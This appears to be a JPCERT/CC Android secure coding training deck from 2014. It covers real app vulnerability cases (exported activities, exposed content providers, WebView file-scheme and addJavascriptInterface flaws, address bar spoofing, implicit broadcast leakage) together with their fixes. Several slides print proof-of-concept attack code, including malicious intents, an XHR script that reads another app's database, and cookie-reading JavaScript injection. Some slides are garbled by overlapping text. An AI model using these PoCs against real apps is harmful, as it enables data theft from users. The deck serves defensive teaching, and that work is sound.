Japan Computer Emergency Response
Team Coordination Center

電子署名者 : Japan Computer Emergency Response Team
Coordination Center
DN : c=JP, st=Tokyo, l=Chiyoda-ku,
email=office@jpcert.or.jp, o=Japan Computer Emergency
Response Team Coordination Center, cn=Japan Computer
Emergency Response Team Coordination Center
日付 : 2015.01.13 14:03:49 +09'00'

Android Secure Coding
Sept 10th: Delhi
Sept 12th: Bangalore

Hiroshi Kumagai & Masaki Kubo
Vulnerability Analysis TeamJPCERT Coordination Center

Instructors

3

Hiroshi Kumagai

Masaki Kubo

Lead Analysit
hiroshi.kumagai@jpcert.or.jp

Vulnerability Analysis Team Leadmasaki.kubo@jpcert.or.jp

After the years of experience in developing
web application/systems, Android apps,
designing websites, Hiroshi joined JPCERTin 2011. Since then, he has been analyzing
vulnerabilities, developing analysis tools,
writing articles about secure coding for
Webzines.

Masaki is leading the vulnerability analysis
team at JPCERT. Prior to join JPCERT, hedeveloped software at SONY. Since 2006, heis leading secure coding initiative and hastaught over 4000 programmers in Japanand Asia-Pacific regions. He is an expert of
ISO/IEC SC27 WG4 and visiting lecturer at
National Institute of Informatics.

Copyright©2014 JPCERT/CC All rights reserved.

Timetable

4

09:30 – 10:00

Part 1. Introduction

10:00 – 11:30

Part 2. Android Secure Coding Techniques

11:30 – 11:45

Tea Break

11:45 – 14:45

Part 3. Exercise Vulnerability

12:45 – 13:30

Lunch Break

13:30 – 14:30

Part 3 (cont.)

14:30 – 15:30

Part 4. Security Code Review

15:30 – 15:45

Tea Break

15:45 – 17:00

Part 4 (cont.)

17:00 – 17:15

Feedbak, Closing Remarks and FIN.

Copyright©2014 JPCERT/CC All rights reserved.

Goals of the Training
Understand the real-world threats to Android applicationand secure coding techniques to mitigate them
Be able to apply the working knowledge to the security
assessment and secure development of Android
application

5

Copyright©2014 JPCERT/CC All rights reserved.

What We Do at JPCERT/CC
Conduct root cause
analysis on privately
reported vulnerabilities—Reproduction, Reverse
Engineering, Source CodeAnalysis, Design Review
etc.

Talk to vendors to ask for afix
Training developers in
C/C++/Java/Android Secure
Coding
6

Copyright©2014 JPCERT/CC All rights reserved.

Root Cause Analysis• Defining the problem• What is thevulnerability?
• Data/Evidence Collection
and Verification• Reproducing thevulnerability• Pinpoint the root cause• Counter measuresPart 1Introduction

7

Copyright©2014 JPCERT/CC All rights reserved.

Android Users Grows in 2014
[Source] The Guardian (January
13, 2014)“Smartphone explosion in2014 will see ownership in
India pass US”

8

Copyright©2014 JPCERT/CC All rights reserved.

Android Security on News Headlines

http://www.pcmag.com/article2/0,2817,2464103,00.asp
http://www.zdnet.com/68-percent-of-top-free-android-apps-vulnerable-to-cyberattack-researchers-claim-7000032875/
9

Copyright©2014 JPCERT/CC All rights reserved.

Android Security on News Headlines

http://www.pcworld.com/article/2099421/report-malwareinfected-android-apps-spike-in-the-google-play-store.html
http://www.cnet.com/how-to/malware-authors-target-android-phones/

10

Copyright©2014 JPCERT/CC All rights reserved.

Categories of Android App Security Issues

Viruses（Malicious Apps）

Potentially
Unwanted
Apps

Vulnerable
Apps

Androidアプリ脆弱性調査レポート 2013年10月版
http://www.sonydna.com/sdna/solution/android_vulnerability_report_201310.pdf
11

Copyright©2014 JPCERT/CC All rights reserved.

Categories of Android App Security Issues

Not so much to
do with App
developers

Viruses（Malicious Apps）

Potentially
UnwantedApps

12

Copyright©2014 JPCERT/CC All rights reserved.

Yes, this is our concern.
The responsibility is on
App developers

VulnerableApps

Impact and Countermeasures
Category

Potential Impact

Countermeasures
Easily MitigatedDistribute virus-infected apps
to end users

Scan apps with Anti-Virus
before releasing them

Potentially
Unwanted
Apps

Distribute annoying apps toend users, bringing bad
corporate reputation

Change the design so that it
will not collect user’s sensitive
info unnecessarily. Prepare andpublish privacy policy of theapp.

Vulnerable
Apps

End users’ privacy get
App developers need to design
compromised. Damages
apps secure and code securely.
corporation reputation as well.

Virus（Malicious Apps）

Challenging, not easily acoomplished13

Copyright©2014 JPCERT/CC All rights reserved.

Secure Android App Development
Scan with Anti-Virus
before releasing apps

Virus

（Malicious Apps）

Potentially
Unwanted
Apps

Design not to annoy
end users

14

Copyright©2014 JPCERT/CC All rights reserved.

Vulnerable
Apps

We’ll look at itin detail later ..

# of Android App Vulnerabilities Reported in Japan
Explosion of private report in 2012

The year of Vulnerable App

Apps

#

The number of Android OS software vulnerability reported by the year
http://www.ipa.go.jp/security/vuln/report/JVNiPedia2012q3.html

15

Copyright©2014 JPCERT/CC All rights reserved.

Survey of Android Application Vulnerability
96% of the Apps in the market are vulnerable

Vulnerable

Vulnerability is notproperly controlled
in Android Apps

Almost all the android apps contain some vulnerability
Survey of Vulnerabilities in Android Apps 2013
http://www.sonydna.com/sdna/solution/android_vulnerability_report_201310.pdf
16

Copyright©2014 JPCERT/CC All rights reserved.

Developers make the same easy mistakes
Same easy mistakes arerepeated—File permissions—Logging—Exported settings

All the app developer
should have:others

ImproperAccess Control

component

file—Android specific security
model—Secure coding best
pracitce
http://www.ipa.go.jp/about/technicalwatch/pdf/120613
report.pdf

17

Copyright©2014 JPCERT/CC All rights reserved.

# of Android App Vuln. JPCERT CoordinatedAdvisories Published: 50 Apps
Under Coordination: 200 Apps

Etc.

For most of the cases, developers have been
cooperative and responsive.
18

Copyright©2014 JPCERT/CC All rights reserved.

Categories of Android App Vulnerability
App Component Exposure

Casual Info Disclosure

1.

Unintended Activity Exposure

8.

Broadcasting sensitive information2.

Local Server Accessible from Other Apps

9.

Loging sensitive information

3.

Unintended Content Provider Exposure

10. Storing sensitive data in SD card
11. Improper File Permissions

WebView
4.

File scheme

5.

addJavascriptInterface

6.

Address Bar Spoofing

7.

JavaScript execution context

HTML 5
12. Geolocation API and Privacy Concern‘Classic’ Vulnerability
13. Cryptographic Issues
14. Path traversal
15. Unsafe Decompression of Zip Files
16. Improper Certificate Verification

19

Copyright©2014 JPCERT/CC All rights reserved.

‘Bugs’ and ‘Vulnerabilities’
Implementation

Specification
How we want thesoftware to behave(programmer’s intent)

Bug

Vulnerability

Howsoftwareactually
behaves

Whittaker and Thompson, 2003

Secure software does what it is supposed to do
and doesn’t do what is not expected to do.
20

Copyright©2014 JPCERT/CC All rights reserved.

What is Secure Coding? (Wikipedia)“Secure coding is the practice of developing computer
software in a way that guards against the accidental
introduction of security vulnerabilities. Defects, bugs
and logic flaws are consistently the primary cause ofcommonly exploited software vulnerabilities. Through theanalysis of thousands of reported vulnerabilities, security
professionals have discovered that most vulnerabilities
stem from a relatively small number of common software
programming errors. By identifying the insecure coding
practices that lead to these errors and educating developers
on secure alternatives, organizations can take proactive
steps to help significantly reduce or eliminate
vulnerabilities in software before deployment.”

21

Copyright©2014 JPCERT/CC All rights reserved.

Android App Vulnerabilities
In Part 2, we will look at each real world
vulnerabilities to discuss:

Nature of the vulnerability
Root cause
How to address the vulnerability
References

22

Copyright©2014 JPCERT/CC All rights reserved.

Android Security Discussions G+ community
Great place to catch up with the latest discussion about any
security issues on Android.

https://plus.google.com/communities/118124907618051049043
23

Copyright©2014 JPCERT/CC All rights reserved.

Reference for a Developer
Android Application Secure Design / Secure Coding
Guidebook by JSSEC— http://www.jssec.org/dl/android_securecoding_en_20140701.pdf

Reference secure implementation in theguidebook can becopied & pasted for commercial use under
Apache License version 2.0.

24

Copyright©2014 JPCERT/CC All rights reserved.

Other Resources
Understanding Android’s Security Framework—Not a recent resource but still gives a good intro. into
Android specific security model—http://siis.cse.psu.edu/slides/android-sec-tutorial.pdf

Secure Mobile Development Best Practices—https://viaforensics.com/resources/reports/best-practices-iosandroid-secure-mobile-development/

Reverse Engineering, Pentesting and Hardening ofAndroid Apps
—https://speakerdeck.com/viaforensics/droidcon2014

25

Copyright©2014 JPCERT/CC All rights reserved.

CASE #1

Unintended Activity Exposure

26

Copyright©2014 JPCERT/CC All rights reserved.

3rd Party Twitter Client Improper Access Control to its
Components
3rd party Twitter client for Android withpicture uploading capability

Allows other application with no
network access permissions to upload
pictures

Malicious app could
impersonate theuser to tweet
https://play.google.com/store/apps/details?id=jp.r246.twicca
http://jvn.jp/en/jp/JVN31860555/
27

Copyright©2014 JPCERT/CC All rights reserved.

Attack Scenario – Information Disclosure
file://sdcard/…/PrivatePhoto.jpg

malware1. Malware generates URL for
picture in local storage(file://...)
2. Malware passes the URL to the
picture-uploading activity
3. The activity tweets with thepictureInfo. disclosure

Twitter

28

Personal information
tweeted to the public

Copyright©2014 JPCERT/CC All rights reserved.

Attack Scenario – impersonation
Malicious picture tweetedfrom the user’s twitter accountfile://mal/malpic.jpg

悪malware悪1. Malware generates URL for
malicious picture (file://...)
2. Malware passes the URL to
the picture-uploading
activity
3. The activity tweets with thepicture悪impersonation

Twitter29

Copyright©2014 JPCERT/CC All rights reserved.

悪The cause of the vulnerability•••

Picture-uploading activity was intended to be used internally
But the activity was exported (accessible from other apps)!
Other apps could send intents (request actions) to this activity
Sending intents
to the activity
Intentmalware30

Copyright©2014 JPCERT/CC All rights reserved.

Activity was
exportedSolution
Explicitly declare the activity as private by(android:exported=“false”)
AndroidManifest.xml...
<activity
android:name=".PicUploadActivity"...

android:exported="false" />...

malware31

Copyright©2014 JPCERT/CC All rights reserved.

Declared as a
private activity

Refer to the JSSEC Secure Coding Guidebook
4.1.1.1. Creating/Using Private Activities

Private:designed to be used
inside the app only
sample manifest fileandroid:exported="false"
sample securejava code32

Copyright©2014 JPCERT/CC All rights reserved.

How the app was fixed…
public void onCreate(Bundle arg5) {super.onCreate(arg5);...
ComponentName v0 = this.getCallingActivity();if (v0 == null) {this.finish();}else if (!“jp.r246.twicca”.equals(v0.getPackageName())) {this.finish();}else {// code for uploading pictures …
}}

this check
was added

The added code checks if the package name of the calling code is
the same as its own package name.

The more appropriate fix is “exported = false”.
33

Copyright©2014 JPCERT/CC All rights reserved.

CASE #2

Local Server Accessible from
Other Apps
34

Copyright©2014 JPCERT/CC All rights reserved.

Case
ES File Explorer File Manager
https://play.google.com/store/apps/details?id=com.estrongs.android.pop

Feature— File and application manager

Problem—can obtain the files inthe external media

35

Copyright©2014 JPCERT/CC All rights reserved.

HTTP Server is started
When you play music files or videos in this app, its own
HTTP Server is launched in device

36

Copyright©2014 JPCERT/CC All rights reserved.

Unrestricted access
The HTTP Server allowed unrestricted access
By accessing the HTTP Server from the WAN, a list of files
on the external media can be seen
—You can download those files

37

Copyright©2014 JPCERT/CC All rights reserved.

Attack Scenarios
Conditions—Could be attacked only when the media files are being
playedScenarios—To induce the user to play media files—Attacker obtains the IP address of the device in some way—Access to the IP address

can be difficult to attack

38

Copyright©2014 JPCERT/CC All rights reserved.

Solution
Limit the accessibility to local server—user authentication
Use ID and Password—IP address restrictions
Make it inaccessible from the WAN

Consider—Other apps may be using local server ?
—Whether there is a need to launch a local server ?

39

Copyright©2014 JPCERT/CC All rights reserved.

CASE #3

Unintended Content Provider
Exposure
40

Copyright©2014 JPCERT/CC All rights reserved.

Content Provider
mechanism to share data between applications
makes it easy to implement reading/writing data
—don't need to worry about locking/exclusive access control

41

Copyright©2014 JPCERT/CC All rights reserved.

Case
Vulnerable app (has not been fixed yet)https://play.google.com/store/apps/details?id=jp.co.xxxxxx.android.xxxxxxx

Feature—A day planner app for Android. The integration of the TODO
and Note memos allows linkage of the scheduled plan with
its corresponding information.

Problem—The Content Provider was made public. Other apps could
access the application data via Content Provider of this app.

42

Copyright©2014 JPCERT/CC All rights reserved.

Assumption of the developer
To share data between other apps.
App A
This vuln app

ContentProvider

data

43

READ/WRITE

Copyright©2014 JPCERT/CC All rights reserved.

App B

in fact
Malicious apps can retrieve/manipulate data on theContent Provider

This vuln app

Malicious apps
retrieve/manipulate
ContentProvider

data

44

READ/WRITE

Copyright©2014 JPCERT/CC All rights reserved.

in fact
Any other apps (including malicious apps)
could retrieve/manipulate data on
Content Provider.

App A

App B

This vuln app

retrieve/manipulate
ContentProvider

data

45

READ/WRITE

Copyright©2014 JPCERT/CC All rights reserved.

Malicious apps

Data Access/Manipulation
What an attacker can do ?
Note memos, photos, TODO, Voice memos—retrieve/manipulate

for example:
final String CONTENT_URI = "content://jp.co.XXXX.XXXXXX.XXXXXXX.XXXXXX";
ContentValues values = new ContentValues();values.put("filename", "/data/data/jp.co.XXXX.XXXXXX.XXXXXXX.XXXXXX/databases/xxx");
values.put("titlename", "hogehoge");
getContentResolver().insert(Uri.parse(CONTENT_URI + "/textmemo"), values);

46

Copyright©2014 JPCERT/CC All rights reserved.

To share data

Point to consider in the implementaion
Range of other apps that you want to share data with
—unspecified large number of apps
—Limit the access to app that has the same signature—Limit the access to app that has a specific permission

Contents of the data
—Any concerns to be shared within other apps?

What do you want to achieve through sharing—Only allow retrieving the shared data?
—Or allow them to add, edit or delete as well?

47

Copyright©2014 JPCERT/CC All rights reserved.

To share data #1

Unspecified large number of apps
A Content Provider is made public to other apps
—From Android 4.2(API17) or later, a Content Provider isprivate if you do not specify the attribute explicitly.
need to set android:minSdkVersion andandroid:targetSdkVersion to 17 or later
AndroidManifest.xml<provider android:name="SampleContentProvider"android:authorities=“com.example.app.Provider”
android:exported="true" />48

Copyright©2014 JPCERT/CC All rights reserved.

To share data #2

Limit the access to app that has thesame signature
AndroidManifest.xml<provider android:name="SampleContentProvider"android:authorities="com.example.app.Provider"android:permission="com.example.app.permission.Provider" /><permission android:protectionLevel="signature"
android:name="com.example.app.permission.Provider"></permission>

49

Copyright©2014 JPCERT/CC All rights reserved.

To share data #3

Limit the access to app that has a
specific permission
AndroidManifest.xml<provider android:name=“RssContentProvider"android:authorities="com.example.app.Provider"android:permission="com.example.app.permission.Provider" /><permission android:name="com.example.app.permission.Provider" />50

Copyright©2014 JPCERT/CC All rights reserved.

Do not want to share data

Point to consider in the implementation
Is it really necessary to use a Content Provider?
—If not, do not use Content Provider

Make Content Provider private—by specifying "android:exported=false" attribute in the
AndroidManifest.xml

51

Copyright©2014 JPCERT/CC All rights reserved.

Do not want to share data #1

Do not use Content Provider
Connected directly to the database—Use SQLiteDatabase class or SQLiteOpenHelper class
Can NOT connect to the database from other apps
SQLiteDatabase db = SQLiteDatabase.openOrCreateDatabase(new File("/data/data/" + getContext().getPackageName() + "/databases/",
DATABASE), null);long id = db.insert("items", null, values);
db.close();52

Copyright©2014 JPCERT/CC All rights reserved.

Do not want to share data #2

Make Content Provider privateby specifying "android:exported" attribute in the
AndroidManifest.xml—However, in Android 2.2(API8) or before, even if you
explicitly declare "android:exported=false", your Content
Provider is accessible from other apps.

<provider android:name="SampleContentProvider"android:authorities=“com.example.app.Provider”
android:exported="false" />53

Copyright©2014 JPCERT/CC All rights reserved.

Refer to the JSSEC Secure Coding Guidebook

The risks and countermeasuresof using Content Provider aredescribed

54

Copyright©2014 JPCERT/CC All rights reserved.

Summary
Is there a need to use Content Provider ?
Content Provider is an API for sharing data basically—If you don’t need to share data between apps
DO NOT USE Content Provider
Connect directly to the database—If you need to share data between apps
Do not include sensitive information
Limit the apps that can connect to the Content Provider

55

Copyright©2014 JPCERT/CC All rights reserved.

WebView
4. File Scheme
5. addJavascriptInterface
6. Address Bar Spoofing
7. JavaScript Execution Context

56

Copyright©2014 JPCERT/CC All rights reserved.

CASE #4

File Scheme

57

Copyright©2014 JPCERT/CC All rights reserved.

CaseYahoo! Japan Browser / Sleipnir Mobile

Feature—Web Browser apps

Problem—WebView with JavaScript enabled—WebView processes any URI passed through Intents without
any validation

58

Copyright©2014 JPCERT/CC All rights reserved.

Vulnerable code
public class MyBrowser extends Activity {@override
public void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);
setContentView(R.layout.main);
WebView webView = (WebView) findViewById(R.id.webview);// turn on javascript
WebSettings settings = webView.getSettings();
settings.setJavaScriptEnabled(true);
String turl = getIntent().getStringExtra(“URL”);
webView.loadUrl(turl);}}

59

processes any URI

Copyright©2014 JPCERT/CC All rights reserved.

Activity received an
Intent that contains
malicious data

Activity that implements the WebView
App A
Activity public

WebView
・enabled Javascript
・any URI passed

URL

アプリB
IntentDB・cookie・cache60

Copyright©2014 JPCERT/CC All rights reserved.

This Vulnerability is often
seen in the apps that
implement the WebView

Attack scenarios
Vuln app

Malicious app

Activity public

WebView
・enabled Javascript
・any URI passed

IntentDB・cookie・cachecookieAttacker preparessome crafted HTML file61

Copyright©2014 JPCERT/CC All rights reserved.

cache

Attacker'sServerMalicious app send an Intent
Vuln app

Malicious app

Activity public

WebView
・enabled Javascript
・any URI passed

IntentDB

String pkg = "jp.vulnerable.android.app";・cookie
String cls = pkg + ".DummyLauncherActivity";・cacheString uri = "file:///[Exploit html file]";Intent intent = new Intent();
intent.setClassName(pkg, cls);
Attacker supplied
intent.putExtra("url", uri);HTML/Javascript
this.startActivity(intent);

62

Copyright©2014 JPCERT/CC All rights reserved.

cookiecache

Attacker'sServerMalicious app send an Intent…
String turl = getIntent().getStringExtra("url");
Vuln app
Malicious app
webView.loadUrl(turl);
Activity public

WebView
・enabled Javascript
・any URI passed

IntentDB

String pkg = "jp.vulnerable.android.app";・cookie
String cls = pkg + ".DummyLauncherActivity";・cacheString uri = "file:///[Exploit html file]";Intent intent = new Intent();
intent.setClassName(pkg, cls);
Attacker supplied
intent.putExtra("url", uri);HTML/Javascript
this.startActivity(intent);

63

Copyright©2014 JPCERT/CC All rights reserved.

cookiecache

Attacker'sServer

Open an exploit html file…
String turl = getIntent().getStringExtra("url");
Vuln app
Malicious app
webView.loadUrl(turl);
Activity public

WebView
・enabled Javascript
・any URI passed

IntentDB・cookie・cachecookieAttacker preparessome crafted HTML file64

Copyright©2014 JPCERT/CC All rights reserved.

cache

Attacker'sServer

Open an exploit html file
Vuln app

Malicious app<script> Activity public
var target = "file:///data/data/jp.vulnerable.android.app/databases/webview.db";
WebView
・enabled Javascript
URI passed
var xhr = new ・any
XMLHttpRequest();Intentxhr.overrideMimeType("text/plain; charset=iso-8859-1");
xhr.open("GET", target, true);
xhr.onreadystatechange = function() {var data = xhr.responseText;
It can be abused to accessDB...
the vuln app's resources
・cookie・cachecookieAttacker preparessome crafted HTML file65

Copyright©2014 JPCERT/CC All rights reserved.

cache

Attacker'sServerConditions of the Vulnerable App
WebView is implemented and JavaScript is enabled
Activity is public, and can receive any URI from Intent
file scheme is enabled

Information managed by thevulnerable apps may be disclosed
66

Copyright©2014 JPCERT/CC All rights reserved.

Solution
To validate the URI that was received in Intent—do not receive a URI of the file scheme—do not display the page, disable Javascript
Do not display the pages

String intentUrl = getIntent().getStringExtra(”url")
String loadUrl = "about:blank";
if (!intentUrl.startsWith("file:")) {loadUrl = intentUrl;}
Disabled Javascript

String intentUrl = getIntent().getStringExtra(”url”)
wSettings.setJavaScriptEnabled(false);
if (!intentUrl.startsWith("file:")) {wSettings.setJavaScriptEnabled(true);}

67

Copyright©2014 JPCERT/CC All rights reserved.

Android 4.1 or later
Several new methods have been added—WebSettings#setAllowFileAccessFromFileURLs—WebSettings#setAllowUniversalAccessFromFileURLs

http://developer.android.com/reference/android/webkit/WebSettings.html#setAllowFileAccessFromFileURLs(boolean)

68

Copyright©2014 JPCERT/CC All rights reserved.

Refer to the JSSEC Secure Coding Guidebook

Be careful when
receiving URIs

69

Copyright©2014 JPCERT/CC All rights reserved.

CASE #5

addJavascriptInterface

70

Copyright©2014 JPCERT/CC All rights reserved.

Case
Cybozu KUNAI

http://products.cybozu.co.jp/kunai/

Feature—App for accessing a groupware

Problem—Contained a vulnerability that allows addJavascriptInterface
to be exploited—When opening a specially crafted website,
an attacker could execute anarbitrary Java method

71

Copyright©2014 JPCERT/CC All rights reserved.

addJavascriptInterface
WebView#addJavascriptInterface—Binds the supplied Java object into the WebView—Allows the Java object's methods to be accessed from
Javascript
can be called by the name of“injectedObject”
webView.addJavascriptInterface(new Object(), "injectedObject");
webView.loadData("", "text/html", null);
webView.loadUrl("javascript:alert(injectedObject.toString())");
http://developer.android.com/reference/android/webkit/WebView.html

72

Copyright©2014 JPCERT/CC All rights reserved.

Notes on addJavascriptInterface
Allows an app to be manipulated through Javascript
Should not process untrusted content
Should only process trusted content!

http://developer.android.com/guide/webapps/webview.html
73

Copyright©2014 JPCERT/CC All rights reserved.

Example: Access to the Java method from Javascript@Override
public void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);
setContentView(R.layout.demo);
context = this.getApplicationContext();
webView = (WebView) findViewById(R.id.demoWebView);
webView.getSettings().setJavaScriptEnabled(true);
webView.addJavascriptInterface(new SmsJSInterface(this),"smsJSInterface");
GetSomeInfo getInfo = new GetSomeInfo();getInfo.execute(null, null);}<script>
smsJSInterface.sendSMS('0123456789', 'hogehoge');</script>74

Copyright©2014 JPCERT/CC All rights reserved.

public class SmsJSInterface implements Cloneable {Context mContext;
public SmsJSInterface(Context context) {mContext = context;}
public void sendSMS(String phoneNumber,
String message) {SmsManager sms = SmsManager.getDefault();
sms.sendTextMessage(phoneNumber, null,message, null, null);}Example: Access to the Java method from Javascript
Bind the SmsJSInterface object to
WebView@Override
public void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);

setContentView(R.layout.demo);
context = this.getApplicationContext();
webView = (WebView) findViewById(R.id.demoWebView);
webView.getSettings().setJavaScriptEnabled(true);
webView.addJavascriptInterface(new SmsJSInterface(this),"smsJSInterface");
GetSomeInfo getInfo = new GetSomeInfo();getInfo.execute(null, null);}<script>
smsJSInterface.sendSMS('0123456789', 'hogehoge');</script>

access from Javascript75

Copyright©2014 JPCERT/CC All rights reserved.

public class SmsJSInterface implements Cloneable {Context mContext;
public SmsJSInterface(Context context) {mContext = context;}
public void sendSMS(String phoneNumber,
String message) {SmsManager sms = SmsManager.getDefault();
sms.sendTextMessage(phoneNumber, null,message, null, null);}send to SMS

Conditions of vulnerable apps
WebView is implemented and Javascript is enabled
Registers Java objects in addJavascriptInterface
It is possible that Javascript is passed from other apps

Dangerous because it allows an
unexpected control by an attacker

76

Copyright©2014 JPCERT/CC All rights reserved.

Reference: risk of addJavascriptInterface
MWR InfoSecurity
WebView addJavascriptInterface Remote Code Execution
https://labs.mwrinfosecurity.com/blog/2013/09/24/webview-addjavascriptinterface-remote-code-execution/

Risk of addJavascriptInterface
by using reflection—Runtime.exec()

77

Copyright©2014 JPCERT/CC All rights reserved.

Summary

DO NOT USE
WebView#addJavascriptInterface
Design that dose not use the addJavascriptInterface
If you need to use…
—Use only trusted content

78

Copyright©2014 JPCERT/CC All rights reserved.

Android 4.2(API17) or later
only public methods that are annotated with"JavascriptInterface" can be accessed from Javascript
class JsObject {@JavascriptInterface
public String toString() {return "injectedObject";}}
webView.addJavascriptInterface(new JsObject(), "injectedObject");
webView.loadData("", "text/html", null);
webView.loadUrl("javascript:alert(injectedObject.toString())");

http://developer.android.com/reference/android/webkit/WebView.html#addJavascriptInterface(java.lang.Object,
java.lang.String)
79

Copyright©2014 JPCERT/CC All rights reserved.

Refer to the JSSEC Secure Coding Guidebook

Summary of Notes on
the use of WebView
80

Copyright©2014 JPCERT/CC All rights reserved.

CASE #6

Address Bar Spoofing

81

Copyright©2014 JPCERT/CC All rights reserved.

Address Bar Spoofing Vulnerability in Android Web Browsers

An attacker may display adifferent URL than that of page
contents

Could be abusedfor phishing…

https://play.google.com/store/apps/details?id=jp.co.yahoo.android.ybrowser
https://jvn.jp/en/jp/JVN55074201/
82

Copyright©2014 JPCERT/CC All rights reserved.

Attack Scenario – Phishing -“Yahoo! Browser” contains a flaw in displaying URL,
which allows the address bar to be spoofed.
A user access a malicious page on www.example.jp

The server
responds withthe requested
contents

User

The address bar shows a URL which is different from thesite being accessed83

Copyright©2014 JPCERT/CC All rights reserved.

How the Flaw Could Be Exploited<script>function spoof(){“Yahoo! Browser” contains
in displaying
URL,
var wa=flaw
window.open(theURL
to spoof)
which allows the address
bar to be spoofed.contents)
w.document.write(some}A user access a malicious page on www.example.jp</script>

The server
responds withthe requested
contents

User

The addressbar shows a URL which is different from thesite being accessed84

Copyright©2014 JPCERT/CC All rights reserved.

The behavior of the Vulnerable App

AttackScenario–
Phishing
how it processed the javascript? (our assumption)<script>functionan
spoof(){“Yahoo! Browser” contains
issue in displaying
var= window.open(URL
of Trusted•Opens abar
new browser
window<script>
URL, which may result
inwtheaddress
being•Display the URL on the address bar
Site)function spoof(){spoofed.
contents)
var w = window.open(theURL
to spoof)page on
A user access w.document.write(actuala malicious
w.document.write(somecontents)}
www.example.jp}</script>•Terminates the loading of URL•Writes ‘some contents’ to the window</script>

User

responds withthe requested
contents

But doesn’t update theaddressthewindow?
The addressbar
showsbarsomeofURL
different
from the actual
contents

85

Copyright©2014 JPCERT/CC All rights reserved.

What is the Root Cause?
The two components failed to synchronize
each other
Address Bar
showing a URL

Browser window
showing page contents

Should show the originof the page content as
URL
86

Copyright©2014 JPCERT/CC All rights reserved.

Should show thecontents of the URL

Solution?

Browsers behaves differently:
a. Shows incorrect URL
b. Address bar is left blankc. document.write() is ignored

Which is the preferable behavior?
Any alternatives?

87

Copyright©2014 JPCERT/CC All rights reserved.

Solution?

Browsers behaves differently:
a. Shows incorrect URL
b. Address bar is left blankc. document.write() is ignored

Pro: Better than a. to avoid confusing
the contents and the URL

Which is the preferable behavior?
Con: user can’t determine where theAnyalternatives?
contents
came from88

Copyright©2014 JPCERT/CC All rights reserved.

Solution?
Pro: Better than a. to avoid confusing
contents andthe URL
Browsers the
behaves
differently:
the behavior
a. ShowsCon:
incorrect
URL may be different
than what the developer intends
b. Address
bar is left blankc. document.write() is ignored

Which is the preferable behavior?
Any alternatives?

89

Copyright©2014 JPCERT/CC All rights reserved.

CASE #7

Javascript Execution Context

90

Copyright©2014 JPCERT/CC All rights reserved.

Case

Opera, Sleipnir
Feature—Web browser apps

Problem—Javascript is executed in
the context of the target
site

91

Copyright©2014 JPCERT/CC All rights reserved.

Attack scenarios
An attacker sends multiple Intents
1. First send an Intent to display the target site
2. Then send a Javascript that you want to execute as another
Intentfor example
1. Send an Intent for displaying www.google.com
2. Send another Intent to display a cookie by using Javascript
using Javascript Scheme—javascript:alert(document.cookie)

92

Copyright©2014 JPCERT/CC All rights reserved.

PoC
String pkg = "jp.co.fenrir.android.sleipnir";String cls = pkg + ".main.IntentActivity";
Intent intent1 = new Intent();
intent1.setClassName(pkg, cls);
intent1.setAction("android.intent.action.VIEW");
intent1.setData(Uri.parse("http://www.google.com"));startActivity(intent1);

Send the URL of thetargettry {Thread.sleep(3000);} catch (InterruptedException e) {e.printStackTrace();}
String js = "alert(document.cookie);";Intent intent2 = new Intent();
intent2.setClassName(pkg, cls);
intent2.setAction("android.intent.action.VIEW");
intent2.setData(Uri.parse(js));
startActivity(intent2);
93

Copyright©2014 JPCERT/CC All rights reserved.

Send a URL that you
want to be executed

PoC
String pkg = "jp.co.fenrir.android.sleipnir";String cls = pkg + ".main.IntentActivity";
Intent intent1 = new Intent();
intent1.setClassName(pkg, cls);
intent1.setAction("android.intent.action.VIEW");
intent1.setData(Uri.parse("http://www.google.com"));startActivity(intent1);
try {Javascript
is executed in the
Thread.sleep(3000);}context
catch (InterruptedExceptione) {of www.google.com
e.printStackTrace();}
String js = "alert(document.cookie);";Intent intent2 = new Intent();
intent2.setClassName(pkg, cls);
intent2.setAction("android.intent.action.VIEW");
intent2.setData(Uri.parse(js));
startActivity(intent2);
94

Copyright©2014 JPCERT/CC All rights reserved.

Solution
Verify if you received a URI in the Intent—Do not accept Javascript Scheme

The app has been fixed already—However, code is obfuscated—We couldn't confirm how it was fixed95

Copyright©2014 JPCERT/CC All rights reserved.

CASE #8

Broadcasting Sensitive
Information96

Copyright©2014 JPCERT/CC All rights reserved.

Intent
Intent—A message object that is passed between components (suchas Activity, Service, Broadcast Receiver, Content Provider)—Explicit Intent
a package is specified—Implicit Intent
a package is not specified, there is a risk of information
leakage

Intent.setPackage(packageName)—Limit package that can resolve the Intent—Available for Android 4.0(API14) or later97

Copyright©2014 JPCERT/CC All rights reserved.

LINE for Android vulnerable in handling
implicit intents
Handling implicit intents is
inappropriate, information such as
messages sent by LINE may be leakedLINE is an app for
communication with others.

https://play.google.com/store/apps/details?id=jp.naver.line.androi
http://jvn.jp/en/jp/JVN67435981/
98

Copyright©2014 JPCERT/CC All rights reserved.

Attack Scenarios
1. A user send a message (suppose amalicious app is already installed)
BroadcastreceiverAppAppmessage

User

Malicious app

App

2. The message is Broadcasted thus
malicious app could read themessage.

99

Message Information(Intent)

Copyright©2014 JPCERT/CC All rights reserved.

Information
Disclosure
Broadcastreceiver

Malicious app

Solution
Q. How to fix the flaw?
BroadcastreceiverApp

Message Information(Intent)

A. Use explicit Intent••

Broadcastreceiver100

Malicious app

Copyright©2014 JPCERT/CC All rights reserved.

use an explicit Intent if you only
want to send to your internal
Broadcast receiver
limit the destination class

Limit the destination using
an explicit Intent

Refer to the JSSEC Secure Coding Guidebook

Use the explicit Intent withclass specified to call a receiver
within the same application.

101

Copyright©2014 JPCERT/CC All rights reserved.

Broadcast within own app
use LocalBroadcastManager—You know that the data you are broadcasting won't leave
your app, so don't need to worry about leaking private data
—It is not possible for other applications to send thesebroadcasts to your app, so you don't need to worry about
having security holes they can exploit—It is more efficient than sending a global broadcast throughthe system
Intent intent = new Intent("my-sensitive-event");
intent.putExtra("event", "this is a test event");
LocalBroadcastManager.getInstance(this).sendBroadcast(intent);

102

Copyright©2014 JPCERT/CC All rights reserved.

When You Implement Broadcast Receiver
Limit the destination if you need to send sensitive
information—Intent#setClass(Context, class)

If the app lacks a permission and an error occurs during
the sending of the broadcast message, the error will also
be sent to LogCat—The error message in LogCat could leak the contents of theIntentIf you are publishing a Broadcast Receiver, consider therisk of Intents being sent from a malware

103

Copyright©2014 JPCERT/CC All rights reserved.

CASE #9

Logging Sensitive Information

104

Copyright©2014 JPCERT/CC All rights reserved.

Log Output
